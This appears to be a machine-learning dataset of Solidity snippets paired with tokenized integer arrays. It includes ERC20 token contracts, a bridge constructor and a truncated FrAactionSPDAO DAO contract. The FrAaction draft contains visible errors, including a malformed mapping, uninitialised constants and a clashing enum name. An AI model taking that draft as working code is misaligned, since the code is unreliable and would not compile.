| [
1,
565,
445,
8492,
1862,
12,
11890,
5034,
761,
67,
350,
16,
533,
3778,
4001,
67,
1080,
13,
203,
3639,
1071,
203,
3639,
8843,
429,
203,
3639,
1338,
1180,
22050,
12,
1726,
67,
350,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
1516,
682,
63,
1726,
67,
350,
8009,
2327,
422,
25504,
67,
8608,
18,
3000,
61,
1360,
16,
203,
5411,
315,
1180,
486,
5405,
343,
8905,
4671,
6,
203,
3639,
11272,
203,
3639,
1516,
682,
63,
1726,
67,
350,
8009,
5875,
67,
1080,
273,
4001,
67,
1080,
31,
203,
3639,
1516,
682,
63,
1726,
67,
350,
8009,
2327,
273,
25504,
67,
8608,
18,
5315,
57,
9947,
31,
203,
3639,
1516,
682,
63,
1726,
67,
350,
8009,
1786,
749,
18,
13866,
12,
3319,
682,
63,
1726,
67,
350,
8009,
6385,
67,
8694,
1769,
203,
3639,
327,
59,
7872,
8579,
23091,
12,
1726,
67,
350,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5294570f67EC34c5a149C344cA04Bf7432bD0222/sources/HPOM9D.sol | Unnecessary function | function getRegisteredAddress(uint index) public view returns (address) {
require(index < registeredAddresses.length, "Index out of bounds");
return registeredAddresses[index];
}
| 2,786,744 | [
1,
984,
82,
4128,
445,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
336,
10868,
1887,
12,
11890,
770,
13,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
2583,
12,
1615,
411,
4104,
7148,
18,
2469,
16,
315,
1016,
596,
434,
4972,
8863,
203,
3639,
327,
4104,
7148,
63,
1615,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Dpc is StandardToken, Ownable {
string public name = "Dipitto";
string public symbol = "DPC";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 51000000 * (10 ** decimals);
function Dpc() public {
totalSupply_ = INITIAL_SUPPLY;
owner = msg.sender;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | * @title Basic token @dev Basic version of StandardToken, with no allowances./ | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
| 425,488 | [
1,
8252,
1147,
225,
7651,
1177,
434,
8263,
1345,
16,
598,
1158,
1699,
6872,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
7651,
1345,
353,
4232,
39,
3462,
8252,
288,
203,
225,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
225,
2874,
12,
2867,
516,
2254,
5034,
13,
324,
26488,
31,
203,
225,
2254,
5034,
2078,
3088,
1283,
67,
31,
203,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
2078,
3088,
1283,
67,
31,
203,
225,
289,
203,
225,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
565,
2583,
24899,
1132,
1648,
324,
26488,
63,
3576,
18,
15330,
19226,
203,
565,
324,
26488,
63,
3576,
18,
15330,
65,
273,
324,
26488,
63,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
565,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
565,
12279,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
225,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
565,
327,
324,
26488,
63,
67,
8443,
15533,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/8453/0xa05fAAF51546fB595ad937808DA76fb715F95Bf4/sources/contracts/universal/StandardBridge.sol | @param _messenger Address of CrossDomainMessenger on this network. @param _otherBridge Address of the other StandardBridge contract. | constructor(address payable _messenger, address payable _otherBridge) {
MESSENGER = CrossDomainMessenger(_messenger);
OTHER_BRIDGE = StandardBridge(_otherBridge);
}
| 11,542,977 | [
1,
67,
81,
18912,
282,
5267,
434,
19742,
3748,
29329,
603,
333,
2483,
18,
225,
389,
3011,
13691,
5267,
434,
326,
1308,
8263,
13691,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
3885,
12,
2867,
8843,
429,
389,
81,
18912,
16,
1758,
8843,
429,
389,
3011,
13691,
13,
288,
203,
565,
490,
3991,
1090,
50,
3101,
273,
19742,
3748,
29329,
24899,
81,
18912,
1769,
203,
565,
22478,
67,
7192,
734,
7113,
273,
8263,
13691,
24899,
3011,
13691,
1769,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
/**
* @title FrAactionSPDAO
* @author Quentin for FrAaction Gangs
*/
// ============ Internal Import ============
import {
ISettings
} from "./GovSettings.sol";
// ============ External Imports: Inherited Contracts ============
// NOTE: we inherit from OpenZeppelin upgradeable contracts because of the proxy implementation of this logic contract
import {
IERC721Upgradeable
} from "@OpenZeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import {
ERC721HolderUpgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
import {
ERC1155HolderUpgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC1155/utils/ERC1155HolderUpgradeable.sol";
import {
IERC1155Upgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
import {
IERC20Upgradeable
} from "@OpenZeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import {
ERC20Upgradeable
} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import {
ERC20lib
} from "./interfaces/ERC20lib.sol";
import {
DiamondInterface
} from "./DiamondInterface.sol";
contract FraactionSPDAO is ERC20Upgradeable, ERC721HolderUpgradeable, ERC1155HolderUpgradeable {
using Address for address;
// ============ Enums ============
// State Transitions:
// (1) INACTIVE on deploy, finalizeBid() or finalizePurchase()
// (2) ACTIVE on startPurchase(), startFundraising() or startBid()
// (2) FUNDING on confirmFunding()
// (3) SUBMITTED on purchase() or submitBid()
// (4) COMPLETED or FAILED on finalizeBid() or finalizePurchase()
enum fundingStatus {
INACTIVE,
ACTIVE,
FUNDING,
SUBMITTED,
COMPLETED,
FAILED
}
// funding round status of the FrAactionHub
FundingStatus public fundingStatus;
// State Transitions:
// (1) INACTIVE claim()
// (2) ACTIVE on startFinalAuction()
// (3) ENDED on endFinalAuction()
// (4) BURNING on Claim()
enum FinalAuctionStatus {
INACTIVE,
ACTIVE,
ENDED,
BURNING
}
FinalAuctionStatus public finalAuctionStatus;
// State Transitions:
// (1) INACTIVE on deploy
// (2) ACTIVE on initiateMerger() and voteForMerger(), ASSETSTRANSFERRED on voteForMerger()
// (3) MERGED or POSTMERGERLOCKED on finalizeMerger()
enum MergerStatus {
INACTIVE,
ACTIVE,
ASSETSTRANSFERRED,
MERGED,
POSTMERGERLOCKED
}
MergerStatus public mergerStatus;
// State Transitions:
// (1) INACTIVE or INITIALIZED on deploy
// (2) ACTIVE on voteForDemerger()
// (4) ASSETSTRANSFERRED on DemergeAssets()
// (4) DEMERGED on finalizeDemerger()
enum DemergerStatus {
INACTIVE,
ACTIVE,
INITIALIZED,
ASSETSTRANSFERRED,
DEMERGED
}
DemergerStatus public demergerStatus;
// State Transitions:
// (1) INACTIVE on deploy
// (2) FUNDING on startAavegotchiFunding()
// (3) CLAIMED on claimAavegotchi()
// (4) COMPLETED, FRACTIONALIZED and FAILED on finalizeAavegotchi()
enum PortalFundingStatus {
INACTIVE,
FUNDING,
CLAIMED,
COMPLETED,
FRACTIONALIZED,
FAILED
}
PortalFundingStatus public portalStatus;
// ============ Public Constant ============
// version of the FrAactionHub smart contract
uint256 public constant contractVersion = 1;
// ============ Internal Constants ============
// tokens are minted at a rate of 1 GHST : 100 tokens
uint16 internal constant TOKEN_SCALE = 100;
// max integer in hexadecimal format
uint256 internal constant MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// ============ Internal Mutable Storage ============
// previous FrAactionHub token balance of the receiver
uint256 internal beforeTransferToBalance;
// stake amount to be decreased in GHST to be burnt
uint256 internal decreasedGhst;
// stake amount to be decreased
uint256 internal decreasedStake;
// last index of the skill points set array of votedSkill mapping
uint256 internal skillIndex;
// current number of times the changeFraactionType() function reached the minimum quorum and voted
uint256 internal typeNumber;
// current number of times the updateAuctionLength() function reached the minimum quorum and voted
uint256 internal lengthNumber;
// current number of times the updatePlayerFee() function reached the minimum quorum and voted
uint256 internal feeNumber;
// current number of times the voteForPlayer() function reached the minimum quorum and voted
uint256 internal playerNumber;
// number of iterations currently done in order to run through the whole ownerAddress array
uint256 internal splitCounter;
// number of iterations necessary in order to run through the whole ownerAddress array
uint256 internal multiple;
// number of this item type owned by the FrAactionHub before the purchase
uint256 internal initialNumberOfItems;
// number of the new funding round
uint256 internal fundingNumber;
// 0 = no split ongoing, 1 = split going on for the realms transfer, 2 = same for the NFTs transfer, 3 = same for the items transfer, 4 = same for owner addresses transfer
uint256 internal split;
// voter's address => current votes submitted for the FrAactionHub type change
mapping(address => uint256) internal currentTypeBalance;
// voter's address => current auction length voted by the owner
mapping(address => uint256) internal currentLengthVote;
// voter's address => current votes submitted for the auction length update
mapping(address => uint256) internal currentLengthBalance;
// voter's address => current player's fee voted by the owner
mapping(address => uint256) internal currentFeeVote;
// voter's address => current votes submitted for the player's fee update
mapping(address => uint256) internal currentFeeBalance;
// voter's address => current player voted by the owner
mapping(address => uint256) internal currentPlayerVote;
// voter's address => current votes submitted for the player appointment
mapping(address => uint256) internal currentPlayerBalance;
// voter's address => typeNumber of the last time the owner voted
mapping(address => uint256) internal typeCurrentNumber;
// voter's address => feeNumber of the last time the owner voted
mapping(address => uint256) internal feeCurrentNumber;
// voter's address => lengthNumber of the last time the owner voted
mapping(address => uint256) internal lengthCurrentNumber;
// voter's address => current number of times the voteForPlayer() function reached the minimum quorum and voted
mapping(address => uint256) internal playerCurrentNumber;
// mergerTarget address => current number of times the voteForMerger() function reached the minimum quorum and voted
mapping(address => uint256) internal mergerNumber;
// contributor address => current number of times the contributor paid the gas fees on behalf of all the FrAactionHub owners
mapping(address => uint256) internal feesContributor;
// contributor => Aavegotchi funding round number
mapping(address => uint256[]) internal fundingContributor;
// contributor => tokenId(s) concerned by a stake increase
mapping(address => uint256[]) internal stakeContributor;
// tokenId => current number of times the voteForName() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal nameNumber;
// tokenId => current number of times the voteForSkills() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal skillNumber;
// tokenId => current number of times the voteForDestruction() function reached the minimum quorum and voted
mapping(uint256 => uint256) internal destroyNumber;
// portal Id => portal funding round number
mapping(uint256 => uint256) internal portalFundingNumber;
// contributor => last funding index iterated during the last newClaim() call
mapping(uint256 => uint256) internal lastFundingContributorIndex;
// contributor => last portal index iterated during the last newClaim() call
mapping(uint256 => uint256) internal lastPortalContributorIndex;
// tokenId => each portal option already voted by at least one owner
mapping(uint256 => uint256[]) internal votedAavegotchi;
// portal Id => Aavegotchi funding round number
mapping(uint256 => uint256[]) internal contributorPortalFunding;
// tokenId => each skill points set already voted by at least one owner
mapping(uint256 => uint256[4][]) internal votedSkill;
// tokenId => each name already voted by at least one owner
mapping(uint256 => string[]) internal votedName;
// tokenId => true if new funding round is successful
mapping(uint256 => bool) internal fundingResult;
// portal Id => funding round number => true if success of the Aavegotchi portal funding round
mapping(uint256 => mapping(uint256 => bool) internal portalFundingResult;
// voter's address => tokenId => current Aavegotchi option voted by the owner
mapping(address => mapping(uint256 => uint256)) internal currentAavegotchiVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi appointment
mapping(address => mapping(uint256 => uint256)) internal currentAavegotchiBalance;
// voter's address => tokenId => current Aavegotchi skill points set voted by the owner
mapping(address => mapping(uint256 => uint256)) internal currentSkillVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi skill points
mapping(address => mapping(uint256 => uint256)) internal currentSkillBalance;
// voter's address => tokenId => current Aavegotchi name voted by the owner
mapping(address => mapping(uint256 => string)) internal currentNameVote;
// voter's address => tokenId => current votes submitted by the owner for the Aavegotchi name appointment
mapping(address => mapping(uint256 => uint256)) internal currentNameBalance;
// voter's address => tokenId => current votes from the contributor for the Aavegotchi destruction
mapping(address => mapping(uint256 => uint256)) internal currentDestroyBalance;
// voter's address => tokenId => nameNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal nameCurrentNumber;
// voter's address => tokenId => skillNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal skillCurrentNumber;
// voter's address => tokenId => destroyNumber of the last time the owner voted
mapping(address => mapping(uint256 => uint256)) internal destroyCurrentNumber;
// contributor => tokenId => total amount contributed to the funding round
mapping(address => mapping(uint256 => uint256)) internal ownerContributedToFunding;
// voter's address => mergerTarget address => mergerNumber of the last time the owner voted
mapping(address => mapping(address => uint256)) internal mergerCurrentNumber;
// contributor => Aavegotchi funding round portals
mapping(address => uint256[]) internal portalContributor;
// contributor => tokenId => each collateral stake contribution for the considered Aavegotchi
mapping(address => mapping(uint256 => stakeContribution[])) internal ownerStakeContribution;
// contributor => portal Id => portal funding round => contributed collateral
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerContributedCollateral;
// contributor => portal Id => portal funding round => contributed collateral type
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerCollateralType;
// contributor => portal Id => portal funding round => contributed ghst
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) internal ownerContributedToAavegotchiFunding;
// ============ Public Not-Mutated Storage ============
// ERC-20 name for fractional tokens
string public name;
// ERC-20 symbol for fractional tokens
string public symbol;
// Address of the Aavegotchi Diamond contract
address public constant diamondContract;
// Address of the GHST contract
address public constant ghstContract;
